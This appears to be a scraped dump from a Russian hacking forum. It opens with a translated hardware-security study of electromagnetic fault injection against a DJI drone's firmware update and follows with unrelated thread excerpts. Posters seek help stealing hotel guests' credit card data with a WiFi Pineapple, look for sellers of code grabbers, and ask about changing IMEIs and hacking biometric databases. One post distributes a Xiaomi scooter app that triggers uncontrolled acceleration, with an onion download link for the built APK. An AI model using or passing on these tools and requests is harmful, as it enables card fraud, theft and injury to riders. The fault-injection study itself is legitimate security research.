  2. Управляющий процессор на базе Android: это SoC на базе ARM Cortex-A7 от Leadcore Technology Co. Ltd. (Leadcore), китайской телекоммуникационной компании, базирующейся в Пекине. Компания известна своей работой в области разработки телекоммуникационных технологий, включая чипсеты для мобильных телефонов и другие сопутствующие товары. Leadcore работает с 2009 года, и его продукция включает линейку чипсетов для мобильных телефонов, используемых в различных смартфонах и других устройствах.

Техническое описание

Атаки по сторонним каналам основаны на косвенном получении информации о целевой системе путем проведения различных типов измерений во время выполнения определенных операций. Вот некоторые распространенные атаки, использующие анализ побочных каналов:

• Атаки по времени: анализируется и используется время, необходимое для выполнения целевой операции, например, для угадывания персонального идентификационного номера (PIN) или взлома криптографических реализаций.

• Анализ мощности: простой анализ мощности (SPA) и дифференциальный анализ мощности (DPA) используют мощность, потребляемую целевыми операциями. Измерения обычно проводятся путем постукивания по цепи напряжения микросхемы. Захваченные данные математически обрабатываются для восстановления секретов, обычно криптографических ключей.

• Электромагнитный анализ: вместо того, чтобы измерять потребляемую мощность непосредственно с шин напряжения оборудования, электромагнитный датчик размещается достаточно близко к микросхеме для получения данных об электромагнитном излучении. Преимущество этого метода в том, что он менее инвазивен и более локализован, чем анализ мощности.

Введение электромагнитных сбоев (EMFI) направлено на то, чтобы вызвать сбой в работе оборудования при выполнении определенных операций. Металлическая катушка (электромагнитный зонд) помещается близко к поверхности целевого процессора. Ток, протекающий через эту катушку, вызовет изменения тока внутри процессора. Ожидается, что это вызовет изменения в поведении ЦП таким образом, что его можно будет использовать для получения преимущества; например, путем изменения значения в ячейке памяти или регистре до или после его обработки.

Как упоминалось выше, преимущества EMFI включают его неинвазивный характер и то, что возмущение более локализовано, в отличие от сбоев питания, когда печатная плата обычно требует физических модификаций, а сбой влияет на все внутренние периферийные устройства и процессоры, подключенные к целевому источнику питания рельс.

Для этой работы компания IOActive использовала широко признанный набор FI/Side-Channel Analysis (SCA) от Riscure. В частности, мы использовали компоненты, описанные в оставшейся части этого раздела, которые сопровождаются мощным комплексным программным пакетом, предназначенным для поддержки исследователей в области безопасности.

При использовании методов анализа энергопотребления данные извлекаются путем касания пути напряжения, который целевой процессор использует для питания всех внутренних процессоров. Одной из проблем при переходе от показаний напряжения к показаниям ЭМ является определение правильного положения на поверхности чипа. Для этого мы использовали таблицу XYZ, показанную на рис. 2, для сканирования области чипа и определения оптимальных мест, где происходит утечка дополнительной информации.

1686820292821.png

Чтобы правильно использовать это устройство, необходимо правильно настроить ось Z. Это критический фактор, так как если наконечник ЭМ находится слишком близко к цели, то сам наконечник может быть поврежден при перемещении по корпусу чипа. С другой стороны, если наконечник ЭМ находится слишком высоко, измеренный сигнал будет слишком слабым, чтобы его можно было использовать.

Компания IOActive использовала два метода для решения этой проблемы. Первый включал использование микрокамеры USB для наблюдения за зазором между наконечником ЭМ и поверхностью. Второй был метод, обычно используемый в 3D-печати: помещение тонкого листа бумаги между наконечником ЭМ и чипом, позиционирование наконечника ЭМ, а затем попытка вытащить бумагу. Если зазор слишком мал, бумага не будет двигаться; и наоборот, если он слишком велик, он будет двигаться свободно. Небольшое трение при движении бумаги указывает на оптимальную высоту наконечника.

После того, как ось Z была установлена в фиксированное положение, следующим шагом будет указание прямоугольника на оси XY, то есть области чипа для сканирования.

ЭМ зонд

Высокоточный ЭМ-зонд IOActive, использованный в данном исследовании, предназначен для обнаружения ЭМ-излучения полупроводниковых цепей и оснащен тремя наконечниками разного диаметра (0,2 мм, 0,5 мм и 1,2 мм), имеющими направленную катушку и защитную тефлоновую оболочку. Этот инструмент способен улавливать электромагнитные поля с частотой до 6 ГГц и преобразовывать их в сигнал переменного тока.

Электромагнитный датчик подключается к усилителю, как показано на рис. 3, а выход направляется на осциллограф через кабель BNC. Затем программный пакет интерпретирует измерения ЭМ для создания тепловой карты, чтобы точно определить область максимального излучения.
1686820307223.png

1686820316423.png

Осциллограф

Компания IOActive использовала осциллограф, показанный на рис. 4, в качестве ключевого элемента как в части SCA, так и в части проекта FI.

1686820330725.png

Во время SCA осциллограф использовался для регистрации утечек сигнала при вычислениях, выполняемых в целевом ЦП. Во время EMFI он использовался для проверки того, что сбои генерируются с желаемой формой и временем.

Паук и зонд EM-FI

Для EMFI компания IOActive использовала инструмент Riscure Spider и переходный зонд EM-FI, как показано на рисунке 5.

1686820341850.png

Spider снижает сложность SCA и EMFI, создавая единую точку управления со всеми линиями ввода-вывода и сброса для пользовательских или встроенных интерфейсов. В рамках этого проекта IOActive использовала инструмент Spider для создания произвольных волн сбоев. Инструмент позволяет регулировать выходное напряжение, синхронизацию, частоту/частоту повторения и длительность импульса.

EM-FI Transient Probe от Riscure индуцирует быстрые, мощные электромагнитные импульсы в определенном пользователем месте чипа. Быстрые и короткие импульсы настраиваются программно, обеспечивая быструю и предсказуемую реакцию на запуск.

Целевой дрон

Подход IOActive заключался в том, чтобы использовать контролируемую среду тестирования, чтобы выяснить, возможно ли атаковать защищенный беспилотник с помощью бокового канала или методов EMFI. Чтобы обеспечить контролируемую среду, IOActive нацелился на модель дрона и версию прошивки с общеизвестными уязвимостями. Это позволило бы нам лучше понять и контролировать каждый из различных этапов путем обратного проектирования компонентов программного обеспечения, задействованных в процессе обновления прошивки. Кроме того, это даст возможность получить представление о потенциальных неисправностях устройства или других действиях, которые могут задержать тестирование. В случае успеха мы могли бы воспользоваться уроками, извлеченными на этом этапе, и попытаться провести атаки такого типа на устройствах без широко известных уязвимостей, используя подход «черный ящик». Кроме того, если какие-либо будущие цели используют тот же SoC, что и первоначальная цель, мы могли бы даже повторно использовать область поиска, определенную в ходе этого проекта. Это сэкономит драгоценное время, избавив от необходимости сканировать всю поверхность SoC и настраивать такие параметры, как продолжительность, задержка и мощность.

Учитывая эти факторы, IOActive выбрала DJI Mavic Pro. В дополнение к утечке ключей, он широко доступен на рынке подержанных автомобилей, что может быть полезно в случае аварии, приводящей к повреждению устройства во время нашего исследовательского процесса.

Подготовка печатной платы дрона

Первым шагом было определение основной печатной платы дрона и создание изолированной среды, в которой он мог бы питаться без оригинальной батареи и помещаться под датчики для анализа.

После удаления пластиковых корпусов, периферийных устройств и датчиков результат показан на рисунке 6. Интересующий нас компонент обведен красным: SoC Leadcore. Этот SoC работает под управлением пользовательской версии Android и обрабатывает USB-соединение и процесс обновления прошивки.

1686820356427.png

На рис. 7 показана анализируемая печатная плата. Следует отметить, что IOActive должен был включать внешний вентилятор для рассеивания тепла, выделяемого компонентами печатной платы. Без него температура быстро повышалась бы после включения питания, что приводило к перезагрузке.

1686820364500.png

Первый подход

Как уже упоминалось ранее, одним из основных приоритетов любого злоумышленника при доступе к системе является получение доступа к незашифрованному встроенному ПО. Поэтому нашей первой целью было изучить возможность восстановления ключей, используемых для шифрования/дешифрования пакетов встроенного ПО с использованием утечек мощности по сторонним каналам.

Утечки мощности в криптографических алгоритмах связаны с математическими операциями с использованием полезной нагрузки, контролируемой злоумышленником, и неизвестного ключа. Инструкции, в которых вычисляются данные обоих элементов, будут потреблять больше или меньше энергии в зависимости, например, от количества битов в результате. Обычно это называется моделью утечки и иногда моделируется как расстояние Хэмминга.

Цель IOActive состояла в том, чтобы построить систему, в которой мы могли бы:

  1. Отправлять случайные данные в цель для последующего использования в криптографических вычислениях.
  2. Выполняйть повторные тесты, чтобы собрать тысячи следов питания.
  3. Проанализировать полученные данные и восстановите ключ шифрования.

Как упоминалось в шаге 1, ключевая часть использования утечки по сторонним каналам заключается в том, чтобы целевая операция обрабатывала данные с достаточной энтропией для статистического анализа. В этом случае у нас была возможность отправлять случайные данные, которые попадали бы в целевые операции криптографического алгоритма. Для этого мы проанализировали формат пакета и сгенерировали действительные пакеты, которые можно было передать в процесс расшифровки. На рис. 8 показан один из пакетов и некоторые значения, которые были изменены для передачи приложению проверки.

1686820375935.png

Сгенерированные пакеты содержат случайные данные, которые будут использоваться во время статистического анализа для сопоставления с захваченными трассировками ЭМ. Поэтому нам нужно было сгенерировать большое количество «поддельных» пакетов обновлений.

Работа над шагом 2 включала в себя понимание процесса обновления, чтобы мы могли автоматизировать задачу отправки измененных пакетов и записи электромагнитных излучений для последующего анализа.

На рис. 9 показаны этапы процесса обновления прошивки дрона DJI. Поскольку нам посчастливилось получить модель с работающей на ней оболочкой ADB, мы смогли идентифицировать процесс, связанный с подписью и расшифровкой программного пакета.

1686820385294.png

Проверка подписи и расшифровка выполнялись приложением dji_verify. Этот исполняемый файл предназначен для запуска в качестве инструмента командной строки и принимает различные аргументы, включая путь к файлу, содержащему пакет прошивки.

Дальнейший анализ бинарника позволил выявить точку, в которой производилась проверка подписи. Поскольку одна из задач — найти место на поверхности чипа, где электромагнитный сигнал сильнее, мы решили пропатчить бинарник dji_verify, чтобы обойти проверку подписи и напрямую выполнить расшифровку пакета прошивки.

На высоком уровне весь процесс состоит из следующих шагов:

  1. Сгенерировать модифицированный пакет прошивки (хотя на первом этапе сканирования мы используем фиксированный).
  2. Скопировать файл на дрон через ADB.
  3. Выполнить пропатченный dji_verify.
  4. Записать данные ЭМ и верниться к шагу 1.

Шаг 3 объединяет аппаратное и программное обеспечение, необходимое для выполнения анализа мощности. На рис. 10 показана часть установки, используемой для регистрации утечки электроэнергии. Электромагнитный зонд прикрепляется к столу XYZ и располагается поверх SoC Leadcore, где выполняются криптографические операции.

1686820395338.png

Одной из ключевых функций инструментов, поставляемых с оборудованием Riscure, был Inspector, мощный программный пакет, который реализует весь статистический, математический анализ и преобразование данных, необходимые для выполнения SCA.

Единственными отсутствующими частями являются те, которые необходимы для взаимодействия с каждым из различных устройств в области исследования. Для этого проекта IOActive разработала код Java (включенный в Приложение B), который принимает входные аргументы, такие как повторения, и координирует запуск целевого двоичного файла. Инспектор позаботится о позиционировании таблицы XYZ, считывании электромагнитных сигналов и построении графика результатов.

На этом этапе первой целью было найти область с сильным электромагнитным сигналом, чтобы мы могли разместить зонд и записать тысячи следов, чтобы получить достаточно информации для извлечения ключа.

После того, как место с самым сильным сигналом было определено, мы перешли от пропатченного двоичного файла dji_verify к исходной настройке, которая включает проверку подписи прошивки. Затем мы начали изучать возможность обхода проверки подписи с помощью EMFI.

На этом этапе мы перешли с Inspector на FI Python (FIPy), веб-фреймворк, предоставляемый Riscure для помощи в процессе FI. Это описано более подробно в разделе «Второй подход» данного документа. На рис. 11 представлен график, созданный FI Spotlight и показывающий результаты этого раунда тестирования.

1686820405824.png

После нескольких дней испытаний и анализа данных мы обнаружили, что вероятность успешного обхода сигнатуры составляет менее 0,5%. Это делает восстановление ключа невозможным, поскольку аппаратные криптографические механизмы, подобные тому, который используется в SoC Leadcore, требуют сбора сотен тысяч трассировок для выполнения атаки SCA.

В этот момент мы приостановили дальнейшие усилия по этому первому подходу, снова проанализировали цель и придумали второй сценарий атаки.

Второй подход

Было несколько потенциальных путей обхода механизмов безопасности с помощью физических атак, но большинство из них требовали модификации печатной платы. Обычно мы использовали EMFI в надежде, что JTAG сможет реализовать возможности отладки; однако вместо этого мы выбрали путь, предложенный в исследовательской статье от Riscure8.

Исследователи Riscure описывают различные результаты, которых они достигли при применении FI к целевому SoC. Был один интересный результат, применимый к исследованию IOActive, когда сбои заставляли процессор изменять содержимое регистров назначения во время операций с памятью.

Если бы приведенные выше результаты можно было воспроизвести, мы потенциально могли бы выполнить нашу собственную полезную нагрузку в процессе обновления. Отсюда вытекают следующие два требования:

  1. У нас есть возможность предоставить пользовательскую полезную нагрузку для целевой системы. Мы уже знаем, что это верно из нашей работы с использованием Первого Подхода.

  2. Процесс скопирует память из одного места в другое. Также из нашей работы над dji_verify мы знаем, что предоставленная полезная нагрузка сначала копируется в память, чтобы вычислить криптографическую подпись и проверить, соответствует ли она подписанной.

В этом новом пути атаки мы попытались продемонстрировать, что получение выполнения кода с использованием EMFI было правдоподобно на целевом устройстве. Общий обзор процесса выглядит следующим образом:

  1. Процесс обновления копирует контролируемую злоумышленником полезную нагрузку из одной области памяти в другую.
  2. Пока идет копирование, сгенерировать глюк с целью изменить поведение обрабатываемых инструкций.
  3. Проанализировать результат, чтобы определить, какой тип модификации инструкции имел место.

Чтобы продолжить этот подход, нам нужно было выполнить следующие задачи:

  1. Сгенерироватье пакет прошивки, который обработает программа dji_verify.
  2. Получите трассировку стека и зарегистрируйте информацию, чтобы упростить процесс понимания того, была ли атака успешной. Для этого шага мы использовали GDB; это было одним из преимуществ контролируемой среды.
  3. Настройте глючное оборудование Riscure и адаптируйте FIPy для работы с нашей целью.

Для выполнения задачи 1 мы изменили заголовок пакета и добавили в качестве полезной нагрузки файл, содержащий 10 МБ 0x41 байт, как описано в первом подходе. Это помогает оценить фактическую пригодность инъекции при анализе вывода GDB.

Одним из ограничений настройки EMFI является поиск точного аппаратного триггера. Плотность компонентов и многослойная печатная плата затрудняют поиск правильного сигнала без риска разрушения образцов (одно из ограничений для этого проекта). Чтобы преодолеть эту проблему, мы полагались на время, исходя из момента, когда мы получили информацию через вывод ADB; однако этот подход снижает повторяемость инъекции, что затрудняет поиск успешного попадания.

На рис. 12 показана установка, которую мы использовали для EMFI для выполнения задачи 3. Электромагнитный датчик подключен к таблице XYZ, а инструмент Spider подключен к компьютеру, который обеспечивает синхронизацию триггера. Осциллограф используется для проверки того, что мы вводим правильные формы импульсов в нужное время, и его выходные данные показаны на рисунке 13.

1686820420568.png

1686820429146.png

Между работой с Inspector и FIPy есть одно различие: первый предоставляет интерфейс Java, а второй выполняет скрипт Python. На этот раз мы собрали сценарий Python (включенный в Приложение C), который управляет взаимодействием с целевым устройством, запрашивает инструмент Spider для запуска сбоя и сохраняет результаты.

Как только вся установка заработала безупречно, нам нужно было запустить тест несколько раз вокруг оси XY с разной силой сбоев и временем, пока мы не идентифицировали успешную или потенциальную ошибку, которая могла бы помочь нам сузить область поверхности.

Определив достаточно небольшую область, мы изменили форму и время сбоя, пока не увидели успешный сбой. После многочисленных попыток мы получили то, что искали: произошел сбой программы dji_verify, как показано в следующем выводе.

1686820437353.png

Наша полезная нагрузка появилась в нескольких регистрах. Изучив код по целевому адресу, мы определили, что попали в выигрышную комбинацию времени, позиции и формы сбоя.

На рис. 14 ясно показана инструкция загрузки, копирующая данные IOActive в регистры R0 и R1. Выходные данные GDB выше показывают, что регистры R3 и R4 также оказались с контролируемыми данными.

1686820446776.png

Вместо копирования данных в буфер назначения следующие две инструкции копируют R0 и R1 в контролируемый адрес.

Скорее всего, здесь произошло то, что мы смогли изменить инструкцию загрузки, и вместо чтения только двух регистров она закончила чтение четырех. Исходная кодировка инструкции:

1686820455158.png

В то время как кодировка инструкции, которая привела бы к результатам, которые мы наблюдали, была:
1686820462596.png

Это означало, что сбой мог изменить один байт, перевернув два последовательных бита и преобразовав одну инструкцию в другую.

Достигнув этого результата, следующим шагом будет написание правильной полезной нагрузки, которая превращает это повреждение памяти в эксплойт для выполнения кода. Это может позволить злоумышленнику полностью контролировать одно устройство, слить весь его конфиденциальный контент, включить доступ к ADB и, возможно, слить ключи шифрования.

Будущая работа

В этой статье мы описали материалы и методы, которые мы использовали для успешной реализации атаки на БПЛА (беспилотный летательный аппарат) с использованием методов ЭМП.

Целью этого проекта было изучение возможности таких атак на сложном и современном устройстве. Поскольку нам удалось доказать, что при обработке обновления прошивки на устройстве можно получить контроль во время выполнения, следующим шагом будет применение полученных знаний на другой модели от DJI, не имеющей ранее известных уязвимостей.

Чтобы выполнить эту задачу и создать надежный эксплойт в рамках ограничений по времени и бюджету, необходимо улучшить несколько элементов:

  1. Аппаратный триггер: это, вероятно, единственный элемент, который наиболее значительно сократит время и сложность проекта. Как упоминалось в этой статье, мы использовали исключительно программный триггер на основе времени, что затрудняет надежное знание того, как выявить успешный сбой.

Есть два разных способа реализовать желаемый аппаратный триггер: (i) найти светодиод или доступную трассировку печатной платы, по которой мы могли бы обнаружить изменение уровня при обработке обновления прошивки, или (ii) использовать ICWaves от Riscure для определения сигнатуры питания, совпадающую с обрабатываемым пакетом обновления микропрограммы.

  1. Интеграция: интегрируйте все элементы, представленные в этом отчете, вместе с аппаратным триггером и пакетом прошивки, отправляемым на дрон, поскольку он будет работать при фактическом обновлении прошивки.

  2. Полезная нагрузка: Создайте полезную нагрузку, которую можно было бы легко проверить, чтобы определить, был ли сбой успешным. Существуют разные варианты, но одним из наиболее очевидных было бы включение ADB, чтобы мы могли проверить, активно ли USB-соединение с хоста, запускающего атаки.

Защита

Растущее количество опубликованных исследований показало многообещающие результаты применения EMFI для компрометации целевой системы. Это открывает новый ландшафт потенциальных атак и слабых мест в текущих и будущих продуктах.

IOActive рекомендует разработчикам продуктов реализовывать меры противодействия EMFI в своих продуктах, защищая эти атаки путем реализации аппаратных и программных мер противодействия. Аппаратные меры противодействия очень эффективны для предотвращения атак ЭМП, но могут быть дорогостоящими и должны планироваться на ранних этапах проектирования. С другой стороны, программные средства противодействия могут быть добавлены на заключительных этапах разработки, но они могут оказаться менее эффективными для защиты определенных атак. Информация о реализации контрмер EMFI общедоступна в научных статьях, презентациях на конференциях и в сообщениях в блогах.

Мы также рекомендовали оценить эффективность контрмер EMFI с помощью сторонней лаборатории, такой как IOActive.

**Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: **Gabriel Gonzalez Director of Hardware Security

Видео/аудио аппаратура и электроника для съёма информации
ID: 676535aeb4103b69df37362d
Thread ID: 60273
Created: 2021-12-20T20:29:30+0000
Last Post: 2021-12-22T15:50:42+0000
Author: Temfert
Replies: 1 Views: 407

Вот наткнулся на такой себе USB эндоскоп.. работает и на смартфоне.. купил. Штука вполне обычная и доступная но может кому-то будет в новинку. Если есть опыт использования подобных девайсов поделитесь

MacBook снова взломали после переустановки MacOs с USB
ID: 676535aeb4103b69df37364b
Thread ID: 54239
Created: 2021-07-21T13:24:14+0000
Last Post: 2021-07-21T13:24:14+0000
Author: EMA
Replies: 0 Views: 401

Как избавиться от 1% шпионского ПО, оставшегося после переустановки MacO с USB? Стоит ли брать микросхему любого типа, EFI? Пожалуйста, помогите с этим продвинутым сталкером.

Pineapple wifi attack
ID: 676535aeb4103b69df373613
Thread ID: 71672
Created: 2022-08-14T20:06:43+0000
Last Post: 2022-08-15T20:25:48+0000
Author: batman777
Prefix: WiFi
Replies: 4 Views: 396

I need someone who is an expert with the pineapple wifi tool, I want to attack a booking hotel to capture credit card data, I need the hotel admin login, does anyone know anything about it?

Руководство по изготовлению маленькой и дешевой "Rubber Ducky"
ID: 676535aeb4103b69df3735ad
Thread ID: 100761
Created: 2023-10-23T21:59:05+0000
Last Post: 2023-10-23T21:59:05+0000
Author: TheProgrammer
Replies: 0 Views: 395

Эти устройства имитируют клавиатуру, на которой можно выполнять действия при подключении и обнаружении USB.

Упомянутая мной Rubber Ducky не только дешева по сравнению с моделью HAK5 (79 долл.), но и имеет небольшие размеры.

Для работы понадобится Digispark Attiny85, который можно купить за $1-$2 на китайских сайтах, ищите модель, похожую на эту "http://digistump.com/products/1", или более современный USB-c вариант, в зависимости от того, что вам больше нравится.

Первое, что необходимо сделать, - это установить драйверы. Для этого необходимо установить их отсюда "https://github.com/digistump/DigistumpArduino/releases".

Теперь, после установки, вставьте Attiny85 в USB-порт, и вы должны услышать сигнал Windows USB. Чтобы проверить, успешно ли распознан USB, откройте диспетчер устройств, и вы должны увидеть новую категорию "libusb-win32 Usb Devices". Если это так, то компьютер распознал устройство
Attiny85.

Теперь необходимо установить среду разработки Arduino IDE,
Если она установлена, откройте ее и перейдите в меню File -> Preferences.
В поле под названием "Additional Boards Manager URLs" введите следующую строку: http://digistump.com/package_digistump_index.json

http://digistump.com/package_digistump_index.json

Затем перейдите в меню Tools -> Boards -> Boards manager:
Из выпадающего меню выбрать "Contributed" и установить пакет "Digistump AVR Boards":
Теперь перейдите в Tools -> Boards -> Digistump AVR Boards -> Digispark (Default - 16.5 mhz):

Проверьте, работает ли он, добавив код примера;

C:Copy to clipboard

"#include "DigiKeyboard.h"

void setup(){
}

void loop(){
DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(300);
// это задержка ^
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
// это нажатие клавиш R и Windows на левой стороне клавиатуры ^
  DigiKeyboard.print("Test");
// посылается нажатие клавиши "Test" ^

for (;;) {
    // Подождать, пока Attiny85 не будет извлечена из компьютера
  }"

Перейдите в меню "Сервис" -> "Порт" и выберите последовательный порт. Обычно это "COM0" или "COM1".

Теперь нажмите кнопку "Upload" и подключите Attiny85 к порту USB. В результате код будет записан в Attiny85.

После этого все готово.
Извините за смешение английского и русского языков, если есть вопросы, просто ответьте на сообщение, я постараюсь ответить на столько вопросов, сколько смогу.

Ищу продавца различных код грабберов
ID: 676535aeb4103b69df373643
Thread ID: 55659
Created: 2021-08-21T19:22:48+0000
Last Post: 2021-08-21T19:22:48+0000
Author: clutch5
Replies: 0 Views: 374

Нужен нормальный селлер код грабберов, ворота гаражи шлагбаумы и тд. Может тут есть ?

Can I add a M5Stickc Plus to a Flipper Zero through GPIO?
ID: 676535aeb4103b69df3735e3
Thread ID: 87222
Created: 2023-05-03T15:28:35+0000
Last Post: 2023-05-10T06:39:18+0000
Author: 51utDragon
Replies: 2 Views: 373

The title is basically the question. I have a f0 and thought that adding my m5stickc plus using gpio would add functionality since the M5stickc has an ESP32 chip and also add range or capability to the shared wireless functions. I haven't been able to find any information other than a couple videos saying the M5stickc is an alternative to the flipper but I think there is potential for them to be used together. I want to know if the M5stickc has the proper GPIO headers to make this possible, how to connect the GPIO wires, if it's possible to run wifi attacks made for the wifi devboard, and can I run commands using the hardware in both devices at the same time for RFID, NFC, sub ghz, or IR? It looks to me like the two would work together well but my knowledge is more software than hardware. Does this have potential or is it a waste of time?

Смена IMEI Sierra Wireless EM7430
ID: 676535aeb4103b69df373630
Thread ID: 59969
Created: 2021-12-11T18:52:37+0000
Last Post: 2021-12-11T20:50:53+0000
Author: Dkey
Prefix: GSM
Replies: 1 Views: 373

Сабж, требуется помощь в смене имея на модеме Sierra Wireless, Inc. Sierra Wireless EM7430 Qualcomm Snapdragon X7 LTE-A в идеале настройке динамической смены при замене sim, за вознаграждение, os debian. Отблагодарю за конструктивную помощь.

Нексус 5
ID: 676535aeb4103b69df3735e1
Thread ID: 87372
Created: 2023-05-06T08:30:16+0000
Last Post: 2023-05-13T14:35:33+0000
Author: Silwwer
Prefix: WiFi
Replies: 6 Views: 373

Нексус 5 на нетхантере не видит внешний wi-fi адаптер (tl-wn821n), может кто поможет с решением проблемы?

VOIP letters as Caller ID
ID: 676535aeb4103b69df3735c1
Thread ID: 95947
Created: 2023-08-18T05:47:54+0000
Last Post: 2023-08-18T16:37:53+0000
Author: MrKev4
Replies: 5 Views: 366

Hello, does anyone know how configure CLI route to display letters instead of digits?

Интересует П31 keyless
ID: 676535aeb4103b69df37364c
Thread ID: 54235
Created: 2021-07-21T12:44:43+0000
Last Post: 2021-07-21T12:44:43+0000
Author: Cripo
Replies: 0 Views: 366

Собственно пару вопросов...
-схема...
-прошика....
и как ,вообще,в работе?

Есть ли продавцы биометрии?
ID: 676535aeb4103b69df373622
Thread ID: 64174
Created: 2022-03-12T18:40:02+0000
Last Post: 2022-03-16T15:01:20+0000
Author: evil666
Replies: 3 Views: 359

Здравствуйте! Есть уже у кого то успешный опыт взлома баз данных с биометрией: отпечатки пальцев, сетчатка глаза, голосовой отпечаток, Face ID?

Телефон как пульт на samsung au7100 55
ID: 676535aeb4103b69df37362b
Thread ID: 61001
Created: 2022-01-07T21:24:19+0000
Last Post: 2022-01-08T01:24:28+0000
Author: Onyx350
Replies: 2 Views: 352

Народ здравствуйте, всех с праздниками.
Подскажите пожалуйста как можно взломать этот телевизор samsung au7100 55 или использовать телефон для него в роле пульта, какие програмы нужны или что нужно для этого, подскажите пожалуйста, очень буду благодарен вам.

Macbook Pro 2018 A1990 байпасс пароля
ID: 676535aeb4103b69df3735cd
Thread ID: 92173
Created: 2023-07-05T18:38:33+0000
Last Post: 2023-07-06T09:13:22+0000
Author: SaintLabel
Replies: 5 Views: 349

Имеется на руках мак от которого владелец забыл пароль, чисто из интереса думаю, как можно обойти пароль или переустановить систему. Бут заблокирован, пробовал запуститься с лицензии конбута, но не пропустило. Доступа к терминалу тоже нет

Взламываем электросамокат Xiaomi M365 и m365 Pro
ID: 676535aeb4103b69df3735be
Thread ID: 96788
Created: 2023-08-29T03:50:46+0000
Last Post: 2023-08-29T04:15:20+0000
Author: Knew100
Prefix: Статья
Replies: 1 Views: 346

Специалисты в области кибербезопасности из компании Zimperium, обнаружили ошибку в программном коде популярного электросамоката Xiaomi, а именно двух моделей, M365 и m365 Pro.
Из-за данной уязвимости, хакеры могут моментально разгонять или наоборот тормозить самокат без какого-либо ведома их владельца.
Компания Xiaomi уведомлена о данной проблеме, но устранить ее нет возможности, так как используемый Bluetooth чип в электросамокате не является их разработкой.
Тем временем «умельцы» уже скомпилировали приложение, которое помогает осуществлять вышеописанные действия.
Перед его запуском необходимо активировать Bluetooth и передачу GPS данных.
А затем нужно выдать требуемые разрешения.
Интерфейс приложения «XiaomiMLockerM365» имеет всего 3 функциональные кнопки.
Первая - это сканирование окружающих Bluetooth сигналов.
Вторая клавиша, в виде замка, позволяет заблокировать электродвигатель самоката.
Tретья, в виде черепа, позволяет выполнить неконтролируемое ускорение.

Исходный код для IOS - https://github.com/chilik/Mi365Locker-iOS
Исходный код для Android - https://github.com/rani-i/Mi365Locker
Готовый билд для Android APK файл

http://anonissfireenterfdks2u53jqevumbu6hjm35ioorsa7eq5bsjlucad.onion/do.php?filename=6c8ea310c98f6b22d52fc71.apk

Обзор радиомодема Ebyte E-62
ID: 676535aeb4103b69df3735d8
Thread ID: 90256
Created: 2023-06-12T00:06:33+0000
Last Post: 2023-06-12T00:06:33+0000
Author: gliderexpert
Replies: 0 Views: 333

Иногда нужно построить линию связи для управления дроном - что называется, дешево и сердито. Такую чтобы не жалко было вместе с дроном "в последний путь" отправить (например - случайно утопить летая над речкой, а вы о чем подумали? :) ), да еще и чтобы к помехам устойчивая была. К естественным помехам, то есть к тем, которые естественно будут присутствовать на Вашем пути к светлому будущему, освещаемому энергией слияния ядер дейтерия...

Попался мне на алиэкспрессе интересный кандидат - снятый с производства модемчик фирмы Ebyte E62-433T30D, стоимостью целых 25$.

https://aliexpress.ru/item/1005001506173488.html

А заинтересовала меня в нем высокая мощность - целый ватт, более-менее продуманная компоновка (есть радиатор - а значит что-то там греется и видимо действительно излучает), да еще и за такие копейки.

Модемы были заказаны и полностью изучены со всех сторон, во все порты и отверстия.

Внешний вид - несколько отличается от картинок на алиэкспрессе:

IMG_2896.jpgIMG_2894.jpg

Весит модуль 25 грамм. Питается от 5в. Производитель обещает диапазон напряжений от 3.3 до 5.2в, но увы - это не соответствует примененной схемотехнике, но об этом чуть позже.
Документацию от производителя я прикрепил в PDF файле Usermanual.pdf

Заявленная дальность связи — 3км с использованием антенн 5dBi на высоте 2.5м, при air data rate — 64kbps. Как то печально честно говоря возить на борту антенну на 5dbi усиления диапазона 433МГц и получить всего 3км. Не должно быть так, но про это позже...
Сначала - небольшой ликбез - у любого радиомодема есть как минимум 2 скорости.

  1. UART SPEED - это скорость порта rs232, который модемы перекидывают через эфир. Т.е. та скорость, которую вы устанавливаете в программе автопилота, терминале и т.д. То, с какой скоростью модем передает данные в компьютер, и обратно.
  2. AIR DATA RATE - это скорость передачи данных между модемами по радиоэфиру. AirDataRate существенно выше чем скорость uart порта, т.к. модему помимо пользовательских данных приходится передавать еще некоторое количество служебной информации - заголовки пакетов, команды управления, да и для обеспечения помехоустойчивости используются различные методы передачи избыточного количества данных, из которых потом восстанавливаются исходные пакеты.

Ближний канал связи автопилота со станцией наземного управления - у меня работает на скорости порта 19200bps, Судя по документации - AirDataRate для 19200 должен быть 128kbps. Для анализа дальности связи - мне нужна чувствительность приемника.
Упс - в даташите она есть: -109dBm, но эта цифра приведена только для скорости "по воздуху" в 64kbps. А как известно, с ростом скорости - ширина канала связи увеличивается, растут тепловые шумы, и чувствительность приемника падает.
Нужно искать информацию о чувствительности на скорости 128kbps. Вероятно, она должна быть в даташите на используемую в модеме радиочастотную микросхему- сборку, только вот какая она там стоит - пока не ясно. А если такой информации нет, или микросхему опознать не получится - чувствительность всегда можно померить, но это не так интересно как изучить чудо китайской инженерной мысли за 25$.

Разбираем. Снимаю экран - он держится всего на 4х точках пайки по углам. Непорядок - должен быть пропаян по периметру. Это значит что плата экранирована плохо, и размещать ее рядом с другими передатчиками (например дальней связи) - нельзя . Радует то, что по периметру имеется земляной полигон

Радиатор находится с обратной стороны и прикручен 4шт винтов М2. Локтайт для фиксации резьбы не используется - что непорядок, в условиях повышенной вибрации винты могут выкрутиться - а контролировать из затяжку невозможно, т.к. они находятся внутри припаянного экрана.

В качестве термоинтерфейса от радиатора к плате - применена термопаста похожая на КПТ-8, но более жидкая. Нанесена так себе - с самом "горячем" месте модема

s3.png

Зато - под крышечкой-экраном, находится блок размером 10х10мм, толщиной 4мм из мягкой теплопроводящей прокладки - прижатый к корпусу транзистора.

IMG_2897.jpg
То есть, тепло отводится не только через радиатор, но и через крышку. Круто и грамотно. Хотя термопасты конечно могли бы побольше положить.

Схемотехника модема - классическая. Микроконтроллер, который общается через uart порт и управляет радиомодулем. Микросхема-"baseband", высокочастотная сборка в которой встроено почти все - модулятор, приемник, передатчик, предварительный усилитель мощности. Отдельно - внешний оконечный каскад усилителя мощности; малошумящий усилитель для приемника; коммутатор - переключающий антенну с цепи передатчика на цепь приемник. Всякие согласующие цепочки, несколько источников питания. Один из них - импульсный повышающий преобразователь, формирующий напряжение 6V для питания транзистора усилителя мощности.

Пришлось потратить некоторое время, чтобы опознать установленные компоненты. Ведь - на детальке написано например "WD", а на самом деле - это транзистор 2SK3756.
В общем, получайте список:

Контроллер — APM32F051x6/x8
Радиомодуль — SI4463
